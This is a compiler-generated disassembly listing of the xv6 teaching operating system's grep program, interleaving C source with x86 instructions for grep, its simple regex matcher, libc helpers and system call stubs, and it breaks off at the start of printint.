00000000 <grep>:
char buf[1024];
int match(char*, char*);
void
grep(char *pattern, int fd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 18 sub $0x18,%esp
int n, m;
char *p, *q;
m = 0;
6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){
d: e9 ab 00 00 00 jmp bd <grep+0xbd>
m += n;
12: 8b 45 ec mov -0x14(%ebp),%eax
15: 01 45 f4 add %eax,-0xc(%ebp)
p = buf;
18: c7 45 f0 00 0e 00 00 movl $0xe00,-0x10(%ebp)
while((q = strchr(p, '\n')) != 0){
1f: eb 4a jmp 6b <grep+0x6b>
*q = 0;
21: 8b 45 e8 mov -0x18(%ebp),%eax
24: c6 00 00 movb $0x0,(%eax)
if(match(pattern, p)){
27: 83 ec 08 sub $0x8,%esp
2a: ff 75 f0 pushl -0x10(%ebp)
2d: ff 75 08 pushl 0x8(%ebp)
30: e8 9a 01 00 00 call 1cf <match>
35: 83 c4 10 add $0x10,%esp
38: 85 c0 test %eax,%eax
3a: 74 26 je 62 <grep+0x62>
*q = '\n';
3c: 8b 45 e8 mov -0x18(%ebp),%eax
3f: c6 00 0a movb $0xa,(%eax)
write(1, p, q+1 - p);
42: 8b 45 e8 mov -0x18(%ebp),%eax
45: 83 c0 01 add $0x1,%eax
48: 89 c2 mov %eax,%edx
4a: 8b 45 f0 mov -0x10(%ebp),%eax
4d: 29 c2 sub %eax,%edx
4f: 89 d0 mov %edx,%eax
51: 83 ec 04 sub $0x4,%esp
54: 50 push %eax
55: ff 75 f0 pushl -0x10(%ebp)
58: 6a 01 push $0x1
5a: e8 43 05 00 00 call 5a2 <write>
5f: 83 c4 10 add $0x10,%esp
}
p = q+1;
62: 8b 45 e8 mov -0x18(%ebp),%eax
65: 83 c0 01 add $0x1,%eax
68: 89 45 f0 mov %eax,-0x10(%ebp)
while((q = strchr(p, '\n')) != 0){
6b: 83 ec 08 sub $0x8,%esp
6e: 6a 0a push $0xa
70: ff 75 f0 pushl -0x10(%ebp)
73: e8 89 03 00 00 call 401 <strchr>
78: 83 c4 10 add $0x10,%esp
7b: 89 45 e8 mov %eax,-0x18(%ebp)
7e: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
82: 75 9d jne 21 <grep+0x21>
}
if(p == buf)
84: 81 7d f0 00 0e 00 00 cmpl $0xe00,-0x10(%ebp)
8b: 75 07 jne 94 <grep+0x94>
m = 0;
8d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(m > 0){
94: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
98: 7e 23 jle bd <grep+0xbd>
m -= p - buf;
9a: 8b 45 f0 mov -0x10(%ebp),%eax
9d: ba 00 0e 00 00 mov $0xe00,%edx
a2: 29 d0 sub %edx,%eax
a4: 29 45 f4 sub %eax,-0xc(%ebp)
memmove(buf, p, m);
a7: 83 ec 04 sub $0x4,%esp
aa: ff 75 f4 pushl -0xc(%ebp)
ad: ff 75 f0 pushl -0x10(%ebp)
b0: 68 00 0e 00 00 push $0xe00
b5: e8 83 04 00 00 call 53d <memmove>
ba: 83 c4 10 add $0x10,%esp
while((n = read(fd, buf+m, sizeof(buf)-m)) > 0){
bd: 8b 45 f4 mov -0xc(%ebp),%eax
c0: ba 00 04 00 00 mov $0x400,%edx
c5: 29 c2 sub %eax,%edx
c7: 89 d0 mov %edx,%eax
c9: 89 c2 mov %eax,%edx
cb: 8b 45 f4 mov -0xc(%ebp),%eax
ce: 05 00 0e 00 00 add $0xe00,%eax
d3: 83 ec 04 sub $0x4,%esp
d6: 52 push %edx
d7: 50 push %eax
d8: ff 75 0c pushl 0xc(%ebp)
db: e8 ba 04 00 00 call 59a <read>
e0: 83 c4 10 add $0x10,%esp
e3: 89 45 ec mov %eax,-0x14(%ebp)
e6: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
ea: 0f 8f 22 ff ff ff jg 12 <grep+0x12>
}
}
}
f0: 90 nop
f1: c9 leave
f2: c3 ret
000000f3 <main>:
int
main(int argc, char *argv[])
{
f3: 8d 4c 24 04 lea 0x4(%esp),%ecx
f7: 83 e4 f0 and $0xfffffff0,%esp
fa: ff 71 fc pushl -0x4(%ecx)
fd: 55 push %ebp
fe: 89 e5 mov %esp,%ebp
100: 53 push %ebx
101: 51 push %ecx
102: 83 ec 10 sub $0x10,%esp
105: 89 cb mov %ecx,%ebx
int fd, i;
char *pattern;
if(argc <= 1){
107: 83 3b 01 cmpl $0x1,(%ebx)
10a: 7f 17 jg 123 <main+0x30>
printf(2, "usage: grep pattern [file ...]\n");
10c: 83 ec 08 sub $0x8,%esp
10f: 68 b0 0a 00 00 push $0xab0
114: 6a 02 push $0x2
116: e8 de 05 00 00 call 6f9 <printf>
11b: 83 c4 10 add $0x10,%esp
exit();
11e: e8 5f 04 00 00 call 582 <exit>
}
pattern = argv[1];
123: 8b 43 04 mov 0x4(%ebx),%eax
126: 8b 40 04 mov 0x4(%eax),%eax
129: 89 45 f0 mov %eax,-0x10(%ebp)
if(argc <= 2){
12c: 83 3b 02 cmpl $0x2,(%ebx)
12f: 7f 15 jg 146 <main+0x53>
grep(pattern, 0);
131: 83 ec 08 sub $0x8,%esp
134: 6a 00 push $0x0
136: ff 75 f0 pushl -0x10(%ebp)
139: e8 c2 fe ff ff call 0 <grep>
13e: 83 c4 10 add $0x10,%esp
exit();
141: e8 3c 04 00 00 call 582 <exit>
}
for(i = 2; i < argc; i++){
146: c7 45 f4 02 00 00 00 movl $0x2,-0xc(%ebp)
14d: eb 74 jmp 1c3 <main+0xd0>
if((fd = open(argv[i], 0)) < 0){
14f: 8b 45 f4 mov -0xc(%ebp),%eax
152: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
159: 8b 43 04 mov 0x4(%ebx),%eax
15c: 01 d0 add %edx,%eax
15e: 8b 00 mov (%eax),%eax
160: 83 ec 08 sub $0x8,%esp
163: 6a 00 push $0x0
165: 50 push %eax
166: e8 57 04 00 00 call 5c2 <open>
16b: 83 c4 10 add $0x10,%esp
16e: 89 45 ec mov %eax,-0x14(%ebp)
171: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
175: 79 29 jns 1a0 <main+0xad>
printf(1, "grep: cannot open %s\n", argv[i]);
177: 8b 45 f4 mov -0xc(%ebp),%eax
17a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
181: 8b 43 04 mov 0x4(%ebx),%eax
184: 01 d0 add %edx,%eax
186: 8b 00 mov (%eax),%eax
188: 83 ec 04 sub $0x4,%esp
18b: 50 push %eax
18c: 68 d0 0a 00 00 push $0xad0
191: 6a 01 push $0x1
193: e8 61 05 00 00 call 6f9 <printf>
198: 83 c4 10 add $0x10,%esp
exit();
19b: e8 e2 03 00 00 call 582 <exit>
}
grep(pattern, fd);
1a0: 83 ec 08 sub $0x8,%esp
1a3: ff 75 ec pushl -0x14(%ebp)
1a6: ff 75 f0 pushl -0x10(%ebp)
1a9: e8 52 fe ff ff call 0 <grep>
1ae: 83 c4 10 add $0x10,%esp
close(fd);
1b1: 83 ec 0c sub $0xc,%esp
1b4: ff 75 ec pushl -0x14(%ebp)
1b7: e8 ee 03 00 00 call 5aa <close>
1bc: 83 c4 10 add $0x10,%esp
for(i = 2; i < argc; i++){
1bf: 83 45 f4 01 addl $0x1,-0xc(%ebp)
1c3: 8b 45 f4 mov -0xc(%ebp),%eax
1c6: 3b 03 cmp (%ebx),%eax
1c8: 7c 85 jl 14f <main+0x5c>
}
exit();
1ca: e8 b3 03 00 00 call 582 <exit>
000001cf <match>:
int matchhere(char*, char*);
int matchstar(int, char*, char*);
int
match(char *re, char *text)
{
1cf: 55 push %ebp
1d0: 89 e5 mov %esp,%ebp
1d2: 83 ec 08 sub $0x8,%esp
if(re[0] == '^')
1d5: 8b 45 08 mov 0x8(%ebp),%eax
1d8: 0f b6 00 movzbl (%eax),%eax
1db: 3c 5e cmp $0x5e,%al
1dd: 75 17 jne 1f6 <match+0x27>
return matchhere(re+1, text);
1df: 8b 45 08 mov 0x8(%ebp),%eax
1e2: 83 c0 01 add $0x1,%eax
1e5: 83 ec 08 sub $0x8,%esp
1e8: ff 75 0c pushl 0xc(%ebp)
1eb: 50 push %eax
1ec: e8 38 00 00 00 call 229 <matchhere>
1f1: 83 c4 10 add $0x10,%esp
1f4: eb 31 jmp 227 <match+0x58>
do{ // must look at empty string
if(matchhere(re, text))
1f6: 83 ec 08 sub $0x8,%esp
1f9: ff 75 0c pushl 0xc(%ebp)
1fc: ff 75 08 pushl 0x8(%ebp)
1ff: e8 25 00 00 00 call 229 <matchhere>
204: 83 c4 10 add $0x10,%esp
207: 85 c0 test %eax,%eax
209: 74 07 je 212 <match+0x43>
return 1;
20b: b8 01 00 00 00 mov $0x1,%eax
210: eb 15 jmp 227 <match+0x58>
}while(*text++ != '\0');
212: 8b 45 0c mov 0xc(%ebp),%eax
215: 8d 50 01 lea 0x1(%eax),%edx
218: 89 55 0c mov %edx,0xc(%ebp)
21b: 0f b6 00 movzbl (%eax),%eax
21e: 84 c0 test %al,%al
220: 75 d4 jne 1f6 <match+0x27>
return 0;
222: b8 00 00 00 00 mov $0x0,%eax
}
227: c9 leave
228: c3 ret
00000229 <matchhere>:
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
229: 55 push %ebp
22a: 89 e5 mov %esp,%ebp
22c: 83 ec 08 sub $0x8,%esp
if(re[0] == '\0')
22f: 8b 45 08 mov 0x8(%ebp),%eax
232: 0f b6 00 movzbl (%eax),%eax
235: 84 c0 test %al,%al
237: 75 0a jne 243 <matchhere+0x1a>
return 1;
239: b8 01 00 00 00 mov $0x1,%eax
23e: e9 99 00 00 00 jmp 2dc <matchhere+0xb3>
if(re[1] == '*')
243: 8b 45 08 mov 0x8(%ebp),%eax
246: 83 c0 01 add $0x1,%eax
249: 0f b6 00 movzbl (%eax),%eax
24c: 3c 2a cmp $0x2a,%al
24e: 75 21 jne 271 <matchhere+0x48>
return matchstar(re[0], re+2, text);
250: 8b 45 08 mov 0x8(%ebp),%eax
253: 8d 50 02 lea 0x2(%eax),%edx
256: 8b 45 08 mov 0x8(%ebp),%eax
259: 0f b6 00 movzbl (%eax),%eax
25c: 0f be c0 movsbl %al,%eax
25f: 83 ec 04 sub $0x4,%esp
262: ff 75 0c pushl 0xc(%ebp)
265: 52 push %edx
266: 50 push %eax
267: e8 72 00 00 00 call 2de <matchstar>
26c: 83 c4 10 add $0x10,%esp
26f: eb 6b jmp 2dc <matchhere+0xb3>
if(re[0] == '$' && re[1] == '\0')
271: 8b 45 08 mov 0x8(%ebp),%eax
274: 0f b6 00 movzbl (%eax),%eax
277: 3c 24 cmp $0x24,%al
279: 75 1d jne 298 <matchhere+0x6f>
27b: 8b 45 08 mov 0x8(%ebp),%eax
27e: 83 c0 01 add $0x1,%eax
281: 0f b6 00 movzbl (%eax),%eax
284: 84 c0 test %al,%al
286: 75 10 jne 298 <matchhere+0x6f>
return *text == '\0';
288: 8b 45 0c mov 0xc(%ebp),%eax
28b: 0f b6 00 movzbl (%eax),%eax
28e: 84 c0 test %al,%al
290: 0f 94 c0 sete %al
293: 0f b6 c0 movzbl %al,%eax
296: eb 44 jmp 2dc <matchhere+0xb3>
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
298: 8b 45 0c mov 0xc(%ebp),%eax
29b: 0f b6 00 movzbl (%eax),%eax
29e: 84 c0 test %al,%al
2a0: 74 35 je 2d7 <matchhere+0xae>
2a2: 8b 45 08 mov 0x8(%ebp),%eax
2a5: 0f b6 00 movzbl (%eax),%eax
2a8: 3c 2e cmp $0x2e,%al
2aa: 74 10 je 2bc <matchhere+0x93>
2ac: 8b 45 08 mov 0x8(%ebp),%eax
2af: 0f b6 10 movzbl (%eax),%edx
2b2: 8b 45 0c mov 0xc(%ebp),%eax
2b5: 0f b6 00 movzbl (%eax),%eax
2b8: 38 c2 cmp %al,%dl
2ba: 75 1b jne 2d7 <matchhere+0xae>
return matchhere(re+1, text+1);
2bc: 8b 45 0c mov 0xc(%ebp),%eax
2bf: 8d 50 01 lea 0x1(%eax),%edx
2c2: 8b 45 08 mov 0x8(%ebp),%eax
2c5: 83 c0 01 add $0x1,%eax
2c8: 83 ec 08 sub $0x8,%esp
2cb: 52 push %edx
2cc: 50 push %eax
2cd: e8 57 ff ff ff call 229 <matchhere>
2d2: 83 c4 10 add $0x10,%esp
2d5: eb 05 jmp 2dc <matchhere+0xb3>
return 0;
2d7: b8 00 00 00 00 mov $0x0,%eax
}
2dc: c9 leave
2dd: c3 ret
000002de <matchstar>:
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
2de: 55 push %ebp
2df: 89 e5 mov %esp,%ebp
2e1: 83 ec 08 sub $0x8,%esp
do{ // a * matches zero or more instances
if(matchhere(re, text))
2e4: 83 ec 08 sub $0x8,%esp
2e7: ff 75 10 pushl 0x10(%ebp)
2ea: ff 75 0c pushl 0xc(%ebp)
2ed: e8 37 ff ff ff call 229 <matchhere>
2f2: 83 c4 10 add $0x10,%esp
2f5: 85 c0 test %eax,%eax
2f7: 74 07 je 300 <matchstar+0x22>
return 1;
2f9: b8 01 00 00 00 mov $0x1,%eax
2fe: eb 29 jmp 329 <matchstar+0x4b>
}while(*text!='\0' && (*text++==c || c=='.'));
300: 8b 45 10 mov 0x10(%ebp),%eax
303: 0f b6 00 movzbl (%eax),%eax
306: 84 c0 test %al,%al
308: 74 1a je 324 <matchstar+0x46>
30a: 8b 45 10 mov 0x10(%ebp),%eax
30d: 8d 50 01 lea 0x1(%eax),%edx
310: 89 55 10 mov %edx,0x10(%ebp)
313: 0f b6 00 movzbl (%eax),%eax
316: 0f be c0 movsbl %al,%eax
319: 3b 45 08 cmp 0x8(%ebp),%eax
31c: 74 c6 je 2e4 <matchstar+0x6>
31e: 83 7d 08 2e cmpl $0x2e,0x8(%ebp)
322: 74 c0 je 2e4 <matchstar+0x6>
return 0;
324: b8 00 00 00 00 mov $0x0,%eax
}
329: c9 leave
32a: c3 ret
0000032b <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
32b: 55 push %ebp
32c: 89 e5 mov %esp,%ebp
32e: 57 push %edi
32f: 53 push %ebx
asm volatile("cld; rep stosb" :
330: 8b 4d 08 mov 0x8(%ebp),%ecx
333: 8b 55 10 mov 0x10(%ebp),%edx
336: 8b 45 0c mov 0xc(%ebp),%eax
339: 89 cb mov %ecx,%ebx
33b: 89 df mov %ebx,%edi
33d: 89 d1 mov %edx,%ecx
33f: fc cld
340: f3 aa rep stos %al,%es:(%edi)
342: 89 ca mov %ecx,%edx
344: 89 fb mov %edi,%ebx
346: 89 5d 08 mov %ebx,0x8(%ebp)
349: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
34c: 90 nop
34d: 5b pop %ebx
34e: 5f pop %edi
34f: 5d pop %ebp
350: c3 ret
00000351 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
351: 55 push %ebp
352: 89 e5 mov %esp,%ebp
354: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
357: 8b 45 08 mov 0x8(%ebp),%eax
35a: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
35d: 90 nop
35e: 8b 45 08 mov 0x8(%ebp),%eax
361: 8d 50 01 lea 0x1(%eax),%edx
364: 89 55 08 mov %edx,0x8(%ebp)
367: 8b 55 0c mov 0xc(%ebp),%edx
36a: 8d 4a 01 lea 0x1(%edx),%ecx
36d: 89 4d 0c mov %ecx,0xc(%ebp)
370: 0f b6 12 movzbl (%edx),%edx
373: 88 10 mov %dl,(%eax)
375: 0f b6 00 movzbl (%eax),%eax
378: 84 c0 test %al,%al
37a: 75 e2 jne 35e <strcpy+0xd>
;
return os;
37c: 8b 45 fc mov -0x4(%ebp),%eax
}
37f: c9 leave
380: c3 ret
00000381 <strcmp>:
int
strcmp(const char *p, const char *q)
{
381: 55 push %ebp
382: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
384: eb 08 jmp 38e <strcmp+0xd>
p++, q++;
386: 83 45 08 01 addl $0x1,0x8(%ebp)
38a: 83 45 0c 01 addl $0x1,0xc(%ebp)
while(*p && *p == *q)
38e: 8b 45 08 mov 0x8(%ebp),%eax
391: 0f b6 00 movzbl (%eax),%eax
394: 84 c0 test %al,%al
396: 74 10 je 3a8 <strcmp+0x27>
398: 8b 45 08 mov 0x8(%ebp),%eax
39b: 0f b6 10 movzbl (%eax),%edx
39e: 8b 45 0c mov 0xc(%ebp),%eax
3a1: 0f b6 00 movzbl (%eax),%eax
3a4: 38 c2 cmp %al,%dl
3a6: 74 de je 386 <strcmp+0x5>
return (uchar)*p - (uchar)*q;
3a8: 8b 45 08 mov 0x8(%ebp),%eax
3ab: 0f b6 00 movzbl (%eax),%eax
3ae: 0f b6 d0 movzbl %al,%edx
3b1: 8b 45 0c mov 0xc(%ebp),%eax
3b4: 0f b6 00 movzbl (%eax),%eax
3b7: 0f b6 c0 movzbl %al,%eax
3ba: 29 c2 sub %eax,%edx
3bc: 89 d0 mov %edx,%eax
}
3be: 5d pop %ebp
3bf: c3 ret
000003c0 <strlen>:
uint
strlen(char *s)
{
3c0: 55 push %ebp
3c1: 89 e5 mov %esp,%ebp
3c3: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
3c6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
3cd: eb 04 jmp 3d3 <strlen+0x13>
3cf: 83 45 fc 01 addl $0x1,-0x4(%ebp)
3d3: 8b 55 fc mov -0x4(%ebp),%edx
3d6: 8b 45 08 mov 0x8(%ebp),%eax
3d9: 01 d0 add %edx,%eax
3db: 0f b6 00 movzbl (%eax),%eax
3de: 84 c0 test %al,%al
3e0: 75 ed jne 3cf <strlen+0xf>
;
return n;
3e2: 8b 45 fc mov -0x4(%ebp),%eax
}
3e5: c9 leave
3e6: c3 ret
000003e7 <memset>:
void*
memset(void *dst, int c, uint n)
{
3e7: 55 push %ebp
3e8: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
3ea: 8b 45 10 mov 0x10(%ebp),%eax
3ed: 50 push %eax
3ee: ff 75 0c pushl 0xc(%ebp)
3f1: ff 75 08 pushl 0x8(%ebp)
3f4: e8 32 ff ff ff call 32b <stosb>
3f9: 83 c4 0c add $0xc,%esp
return dst;
3fc: 8b 45 08 mov 0x8(%ebp),%eax
}
3ff: c9 leave
400: c3 ret
00000401 <strchr>:
char*
strchr(const char *s, char c)
{
401: 55 push %ebp
402: 89 e5 mov %esp,%ebp
404: 83 ec 04 sub $0x4,%esp
407: 8b 45 0c mov 0xc(%ebp),%eax
40a: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
40d: eb 14 jmp 423 <strchr+0x22>
if(*s == c)
40f: 8b 45 08 mov 0x8(%ebp),%eax
412: 0f b6 00 movzbl (%eax),%eax
415: 3a 45 fc cmp -0x4(%ebp),%al
418: 75 05 jne 41f <strchr+0x1e>
return (char*)s;
41a: 8b 45 08 mov 0x8(%ebp),%eax
41d: eb 13 jmp 432 <strchr+0x31>
for(; *s; s++)
41f: 83 45 08 01 addl $0x1,0x8(%ebp)
423: 8b 45 08 mov 0x8(%ebp),%eax
426: 0f b6 00 movzbl (%eax),%eax
429: 84 c0 test %al,%al
42b: 75 e2 jne 40f <strchr+0xe>
return 0;
42d: b8 00 00 00 00 mov $0x0,%eax
}
432: c9 leave
433: c3 ret
00000434 <gets>:
char*
gets(char *buf, int max)
{
434: 55 push %ebp
435: 89 e5 mov %esp,%ebp
437: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
43a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
441: eb 42 jmp 485 <gets+0x51>
cc = read(0, &c, 1);
443: 83 ec 04 sub $0x4,%esp
446: 6a 01 push $0x1
448: 8d 45 ef lea -0x11(%ebp),%eax
44b: 50 push %eax
44c: 6a 00 push $0x0
44e: e8 47 01 00 00 call 59a <read>
453: 83 c4 10 add $0x10,%esp
456: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
459: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
45d: 7e 33 jle 492 <gets+0x5e>
break;
buf[i++] = c;
45f: 8b 45 f4 mov -0xc(%ebp),%eax
462: 8d 50 01 lea 0x1(%eax),%edx
465: 89 55 f4 mov %edx,-0xc(%ebp)
468: 89 c2 mov %eax,%edx
46a: 8b 45 08 mov 0x8(%ebp),%eax
46d: 01 c2 add %eax,%edx
46f: 0f b6 45 ef movzbl -0x11(%ebp),%eax
473: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
475: 0f b6 45 ef movzbl -0x11(%ebp),%eax
479: 3c 0a cmp $0xa,%al
47b: 74 16 je 493 <gets+0x5f>
47d: 0f b6 45 ef movzbl -0x11(%ebp),%eax
481: 3c 0d cmp $0xd,%al
483: 74 0e je 493 <gets+0x5f>
for(i=0; i+1 < max; ){
485: 8b 45 f4 mov -0xc(%ebp),%eax
488: 83 c0 01 add $0x1,%eax
48b: 3b 45 0c cmp 0xc(%ebp),%eax
48e: 7c b3 jl 443 <gets+0xf>
490: eb 01 jmp 493 <gets+0x5f>
break;
492: 90 nop
break;
}
buf[i] = '\0';
493: 8b 55 f4 mov -0xc(%ebp),%edx
496: 8b 45 08 mov 0x8(%ebp),%eax
499: 01 d0 add %edx,%eax
49b: c6 00 00 movb $0x0,(%eax)
return buf;
49e: 8b 45 08 mov 0x8(%ebp),%eax
}
4a1: c9 leave
4a2: c3 ret
000004a3 <stat>:
int
stat(char *n, struct stat *st)
{
4a3: 55 push %ebp
4a4: 89 e5 mov %esp,%ebp
4a6: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
4a9: 83 ec 08 sub $0x8,%esp
4ac: 6a 00 push $0x0
4ae: ff 75 08 pushl 0x8(%ebp)
4b1: e8 0c 01 00 00 call 5c2 <open>
4b6: 83 c4 10 add $0x10,%esp
4b9: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
4bc: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4c0: 79 07 jns 4c9 <stat+0x26>
return -1;
4c2: b8 ff ff ff ff mov $0xffffffff,%eax
4c7: eb 25 jmp 4ee <stat+0x4b>
r = fstat(fd, st);
4c9: 83 ec 08 sub $0x8,%esp
4cc: ff 75 0c pushl 0xc(%ebp)
4cf: ff 75 f4 pushl -0xc(%ebp)
4d2: e8 03 01 00 00 call 5da <fstat>
4d7: 83 c4 10 add $0x10,%esp
4da: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
4dd: 83 ec 0c sub $0xc,%esp
4e0: ff 75 f4 pushl -0xc(%ebp)
4e3: e8 c2 00 00 00 call 5aa <close>
4e8: 83 c4 10 add $0x10,%esp
return r;
4eb: 8b 45 f0 mov -0x10(%ebp),%eax
}
4ee: c9 leave
4ef: c3 ret
000004f0 <atoi>:
int
atoi(const char *s)
{
4f0: 55 push %ebp
4f1: 89 e5 mov %esp,%ebp
4f3: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
4f6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
4fd: eb 25 jmp 524 <atoi+0x34>
n = n*10 + *s++ - '0';
4ff: 8b 55 fc mov -0x4(%ebp),%edx
502: 89 d0 mov %edx,%eax
504: c1 e0 02 shl $0x2,%eax
507: 01 d0 add %edx,%eax
509: 01 c0 add %eax,%eax
50b: 89 c1 mov %eax,%ecx
50d: 8b 45 08 mov 0x8(%ebp),%eax
510: 8d 50 01 lea 0x1(%eax),%edx
513: 89 55 08 mov %edx,0x8(%ebp)
516: 0f b6 00 movzbl (%eax),%eax
519: 0f be c0 movsbl %al,%eax
51c: 01 c8 add %ecx,%eax
51e: 83 e8 30 sub $0x30,%eax
521: 89 45 fc mov %eax,-0x4(%ebp)
while('0' <= *s && *s <= '9')
524: 8b 45 08 mov 0x8(%ebp),%eax
527: 0f b6 00 movzbl (%eax),%eax
52a: 3c 2f cmp $0x2f,%al
52c: 7e 0a jle 538 <atoi+0x48>
52e: 8b 45 08 mov 0x8(%ebp),%eax
531: 0f b6 00 movzbl (%eax),%eax
534: 3c 39 cmp $0x39,%al
536: 7e c7 jle 4ff <atoi+0xf>
return n;
538: 8b 45 fc mov -0x4(%ebp),%eax
}
53b: c9 leave
53c: c3 ret
0000053d <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
53d: 55 push %ebp
53e: 89 e5 mov %esp,%ebp
540: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
543: 8b 45 08 mov 0x8(%ebp),%eax
546: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
549: 8b 45 0c mov 0xc(%ebp),%eax
54c: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
54f: eb 17 jmp 568 <memmove+0x2b>
*dst++ = *src++;
551: 8b 45 fc mov -0x4(%ebp),%eax
554: 8d 50 01 lea 0x1(%eax),%edx
557: 89 55 fc mov %edx,-0x4(%ebp)
55a: 8b 55 f8 mov -0x8(%ebp),%edx
55d: 8d 4a 01 lea 0x1(%edx),%ecx
560: 89 4d f8 mov %ecx,-0x8(%ebp)
563: 0f b6 12 movzbl (%edx),%edx
566: 88 10 mov %dl,(%eax)
while(n-- > 0)
568: 8b 45 10 mov 0x10(%ebp),%eax
56b: 8d 50 ff lea -0x1(%eax),%edx
56e: 89 55 10 mov %edx,0x10(%ebp)
571: 85 c0 test %eax,%eax
573: 7f dc jg 551 <memmove+0x14>
return vdst;
575: 8b 45 08 mov 0x8(%ebp),%eax
}
578: c9 leave
579: c3 ret
0000057a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
57a: b8 01 00 00 00 mov $0x1,%eax
57f: cd 40 int $0x40
581: c3 ret
00000582 <exit>:
SYSCALL(exit)
582: b8 02 00 00 00 mov $0x2,%eax
587: cd 40 int $0x40
589: c3 ret
0000058a <wait>:
SYSCALL(wait)
58a: b8 03 00 00 00 mov $0x3,%eax
58f: cd 40 int $0x40
591: c3 ret
00000592 <pipe>:
SYSCALL(pipe)
592: b8 04 00 00 00 mov $0x4,%eax
597: cd 40 int $0x40
599: c3 ret
0000059a <read>:
SYSCALL(read)
59a: b8 05 00 00 00 mov $0x5,%eax
59f: cd 40 int $0x40
5a1: c3 ret
000005a2 <write>:
SYSCALL(write)
5a2: b8 10 00 00 00 mov $0x10,%eax
5a7: cd 40 int $0x40
5a9: c3 ret
000005aa <close>:
SYSCALL(close)
5aa: b8 15 00 00 00 mov $0x15,%eax
5af: cd 40 int $0x40
5b1: c3 ret
000005b2 <kill>:
SYSCALL(kill)
5b2: b8 06 00 00 00 mov $0x6,%eax
5b7: cd 40 int $0x40
5b9: c3 ret
000005ba <exec>:
SYSCALL(exec)
5ba: b8 07 00 00 00 mov $0x7,%eax
5bf: cd 40 int $0x40
5c1: c3 ret
000005c2 <open>:
SYSCALL(open)
5c2: b8 0f 00 00 00 mov $0xf,%eax
5c7: cd 40 int $0x40
5c9: c3 ret
000005ca <mknod>:
SYSCALL(mknod)
5ca: b8 11 00 00 00 mov $0x11,%eax
5cf: cd 40 int $0x40
5d1: c3 ret
000005d2 <unlink>:
SYSCALL(unlink)
5d2: b8 12 00 00 00 mov $0x12,%eax
5d7: cd 40 int $0x40
5d9: c3 ret
000005da <fstat>:
SYSCALL(fstat)
5da: b8 08 00 00 00 mov $0x8,%eax
5df: cd 40 int $0x40
5e1: c3 ret
000005e2 <link>:
SYSCALL(link)
5e2: b8 13 00 00 00 mov $0x13,%eax
5e7: cd 40 int $0x40
5e9: c3 ret
000005ea <mkdir>:
SYSCALL(mkdir)
5ea: b8 14 00 00 00 mov $0x14,%eax
5ef: cd 40 int $0x40
5f1: c3 ret
000005f2 <chdir>:
SYSCALL(chdir)
5f2: b8 09 00 00 00 mov $0x9,%eax
5f7: cd 40 int $0x40
5f9: c3 ret
000005fa <dup>:
SYSCALL(dup)
5fa: b8 0a 00 00 00 mov $0xa,%eax
5ff: cd 40 int $0x40
601: c3 ret
00000602 <getpid>:
SYSCALL(getpid)
602: b8 0b 00 00 00 mov $0xb,%eax
607: cd 40 int $0x40
609: c3 ret
0000060a <sbrk>:
SYSCALL(sbrk)
60a: b8 0c 00 00 00 mov $0xc,%eax
60f: cd 40 int $0x40
611: c3 ret
00000612 <sleep>:
SYSCALL(sleep)
612: b8 0d 00 00 00 mov $0xd,%eax
617: cd 40 int $0x40
619: c3 ret
0000061a <uptime>:
SYSCALL(uptime)
61a: b8 0e 00 00 00 mov $0xe,%eax
61f: cd 40 int $0x40
621: c3 ret
00000622 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
622: 55 push %ebp
623: 89 e5 mov %esp,%ebp
625: 83 ec 18 sub $0x18,%esp
628: 8b 45 0c mov 0xc(%ebp),%eax
62b: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
62e: 83 ec 04 sub $0x4,%esp
631: 6a 01 push $0x1
633: 8d 45 f4 lea -0xc(%ebp),%eax
636: 50 push %eax
637: ff 75 08 pushl 0x8(%ebp)
63a: e8 63 ff ff ff call 5a2 <write>
63f: 83 c4 10 add $0x10,%esp
}
642: 90 nop
643: c9 leave
644: c3 ret
00000645 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
645: 55 push %ebp
